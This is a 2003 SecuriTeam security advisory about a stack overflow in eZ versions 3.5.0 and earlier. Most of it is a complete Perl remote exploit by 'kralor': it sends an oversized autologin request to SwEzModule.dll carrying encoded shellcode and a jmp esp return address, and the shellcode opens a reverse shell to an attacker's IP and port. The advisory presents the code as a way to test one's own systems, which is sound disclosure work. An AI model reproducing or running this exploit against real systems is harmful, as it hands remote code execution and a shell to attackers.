[EXPL] eZ Package Stack Overflow Vulnerability

From: SecuriTeam (support_at_securiteam.com)
Date: 12/18/03

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Date: 18 Dec 2003 10:44:09 +0200

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      eZ Package Stack Overflow Vulnerability
    ------------------------------------------------------------------------

    SUMMARY

    As we reported in our previous article
    <http://www.securiteam.com/windowsntfocus/6K0032A95O.html> eZ Multiple
    Packages Stack Overflow Vulnerability, a vulnerability in the product
    allows remote attackers to cause the product to execute arbitrary code.
    The following exploit code can be used to test your system for the
    mentioned vulnerability.

    DETAILS

    Vulnerable systems:
     * eZ version 3.5.0 and prior

    Immune systems:
     * eZ version 3.6.0

    Exploit:
    #!/usr/bin/perl -w
    ######################C###O###R###O###M###P###U###T###E###R#########
    [Crpt] universal eZ v3.3 < v3.5 remote exploit by kralor [Crpt] #
    #-------------------------------------------------------------------------------#
    # versions tested & not vulnerables: v3.0 v3.1 v3.2 #
    # versions tested & vulnerables: v3.3 v3.4 v3.5 #
    # Cryptso.dll contains a 'static' jmp esp in eZnetwork pack from v3.3 to
    v3.5 #
    # It is a trivial exploit, jumping to esp, then at esp we jump backward to
    #
    # finally reach the shellcode. The shellcode gives a reverse remote shell.
    #
    # Universal shellcode coded by kralor with the PEB technic. #
    ######W###W###W###.###C###O###R###O###M###P###U###T###E###R###.###use
    IO::Socket;

      print "\r\n\t [Crpt] eZ v3.3 < v3.5 remote exploit by kralor
    [Crpt]\r\n";
      print "\t\twww.coromputer.net && undernet #coromputer\r\n\r\n";

    if(@ARGV<3||@ARGV>3) {
      print "syntax: ".$0." <victim> <your_ip> <your_port>\r\n";
      exit;
      }

      print "[+] Connecting to ".$ARGV[0]."\t...";

      my $sock = IO::Socket::INET->new(Proto=>'tcp',
                                   PeerAddr=>$ARGV[0],
                                   PeerPort=>"80");
    if(!$sock) {
      print "Error\r\n";
      exit;
      }

      print "Done\r\n";

    # 0xffe4 jmp esp in Cryptso.dll (v3.3 v3.4 v3.5 @ 0x1004C72B)
    # 0xffffedffe9 jmp back ( $ - 4'608)

    $eip = "\x2B\xC7\x04\x10";
    $jmp_back = "\xE9\xFF\xED\xFF\xFF";
    # universal reverse remote shell using PEB, coded by kralor.
    $shellc0deI =
    "\xeb\x02\xeb\x0f\x66\x81\xec\x04\x08\x8b\xec\x83\xec\x50\xe8\xef".
          "\xff\xff\xff\x5b\x80\xc3\x10\x33\xc9\x66\xb9\x9e\x01\x80\x33\x95".
          "\x43\xe2\xfa\x7e\xe6\xa6\x4e\x26\xa5\xf1\x1e\x96\x1e\xd5\x99\x1e".
          "\xdd\x99\x1e\x54\x1e\xc9\xb1\x9d\x1e\xe5\xa5\x96\xe1\xb1\x91\xad".
          "\x8b\xe0\xd9\x1e\xd5\x8d\x1e\xcd\xa9\x96\x4d\x1e\xce\xed\x96\x4d".
          "\x1e\xe6\x89\x96\x65\xc3\x1e\xe6\xb1\x96\x65\xc3\x1e\xc6\xb5\x96".
          "\x45\x1e\xce\x8d\xde\x1e\xa1\x0f\x96\x65\x96\xe1\xb1\x81\x1e\xa3".
          "\xae\xe1\xb1\x8d\xe1\x9f\xde\xb6\x4e\xe0\x7f\xcd\xcd\xa6\x55\x56".
          "\xca\xa6\x5c\xf3\x1e\x99\xca\xca\x1e\xa9\x1a\x18\x91\x92\x56\x1e".
          "\x8d\x1e\x56\xae\x54\xe0\x08\x56\xa6\x4e\xfd\xec\xd0\xed\xd4\xff".
          "\x9f\xff\xde\xc6\x7d\xe9\x6a\x6a\x6a\xa6\x5c\x52\xd0\x69\xe2\xe6".
          "\xa7\xca\xf3\x52\xd0\x95\xa6\xa7\x1d\xd8\x97\x1e\x48\xf3\x16\x7e".
          "\x91\xc4\xc4\xc6\x6a\x45\xa6\x4e\x1c\xd0\x91\xfd\xe7\xf0\xe6\xe6".
          "\xff\x9f\xff\xde\xc6\x7d\xde\x6a\x6a\x6a\x1e\xc8\x91\xa6\x6a\x52".
          "\xd0\x69\xc2\xc6\xd4\xc6\x52\xd0\x95\xfa\xf6\xfe\xf0\x1c\xe8\x91".
          "\xf3\x52\xd0\x91\xe1\xd4\x1e\x58\xf3\x16\x7c\x91\xc4\xc6\x6a\x45".
          "\xa6\x4e\xc6\xc6\xc6\xc6\xd6\xc6\xd6\xc6\x6a\x45\x1c\xd0\x31\xfd".
          "\xfb\xf0\xf6\xe1\xff\x96\xff\xc6\xff\x97\x7d\x93\x6a\x6a\x6a\xa6".
          "\x4e\x26\x97\x1e\x40\xf3\x1c\x8f\x96\x46\xf3\x52\x97";
    $shellc0deII = "\xff\x85\xc0\x6a\xe0\x31\x6a\x45\xa6".
          "\x4e\xfd\xf0\xe6\xe6\xd4\xff\x9f\xff\xde\xc6\x7d\x40\x6b\x6a\x6a".
          "\xa6\x4e\x52\xd0\x39\xd1\x95\x95\x95\x1c\xc8\x25\x1c\xc8\x2d\x1c".
          "\xc8\x21\x1c\xc8\x29\x1c\xc8\x55\x1c\xc8\x51\x1c\xc8\x5d\x52\xd0".
          "\x4d\x94\x94\x95\x95\x1c\xc8\x49\x1c\xc8\x75\x1e\xc8\x31\x1c\xc8".
          "\x71\x1c\xc8\x7d\x1c\xc8\x79\xa6\x4e\x18\xd8\x65\xc4\x18\xd8\x39".
          "\xc4\xc6\xc6\xc6\xff\x94\xc6\xc6\xf3\x52\xd0\x69\xf6\xf8\xf3\x52".
          "\xd0\x6b\xf1\x95\x1d\xc8\x6a\x18\xc0\x69\xc7\xc6\x6a\x45\xa6\x4e".
          "\xfd\xed\xfc\xe1\xc5\xff\x94\xff\xde\xc6\x7d\xf3\x6b\x6a\x6a\x6a".
          "\x45\x95";
    my $tip = inet_aton($ARGV[1]);
    my $paddr = sockaddr_in($ARGV[2], $tip);

    $paddr=substr($paddr,2,6);
    $paddr=$paddr^"\x95\x95\x95\x95\x95\x95";
    my $rport=substr($paddr,0,2);
    my $rip=substr($paddr,2,4);

    $request = "GET /SwEzModule.dll?operation=login&autologin=".
          "\x90"x100 .$shellc0deI.$rport."\x96\x46\x52\x97".$rip.$shellc0deII.
          "\x90"x4103 .$eip."\x90"x4 .$jmp_back." HTTP/1.0\r\n\r\n";

      print $sock $request;
      print "[+] Sending evil request\t...";
      close($sock);
      print "Done\r\n";
    exit;

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:kralor@coromputer.net> Iván
    Rodriguez Almuiña.

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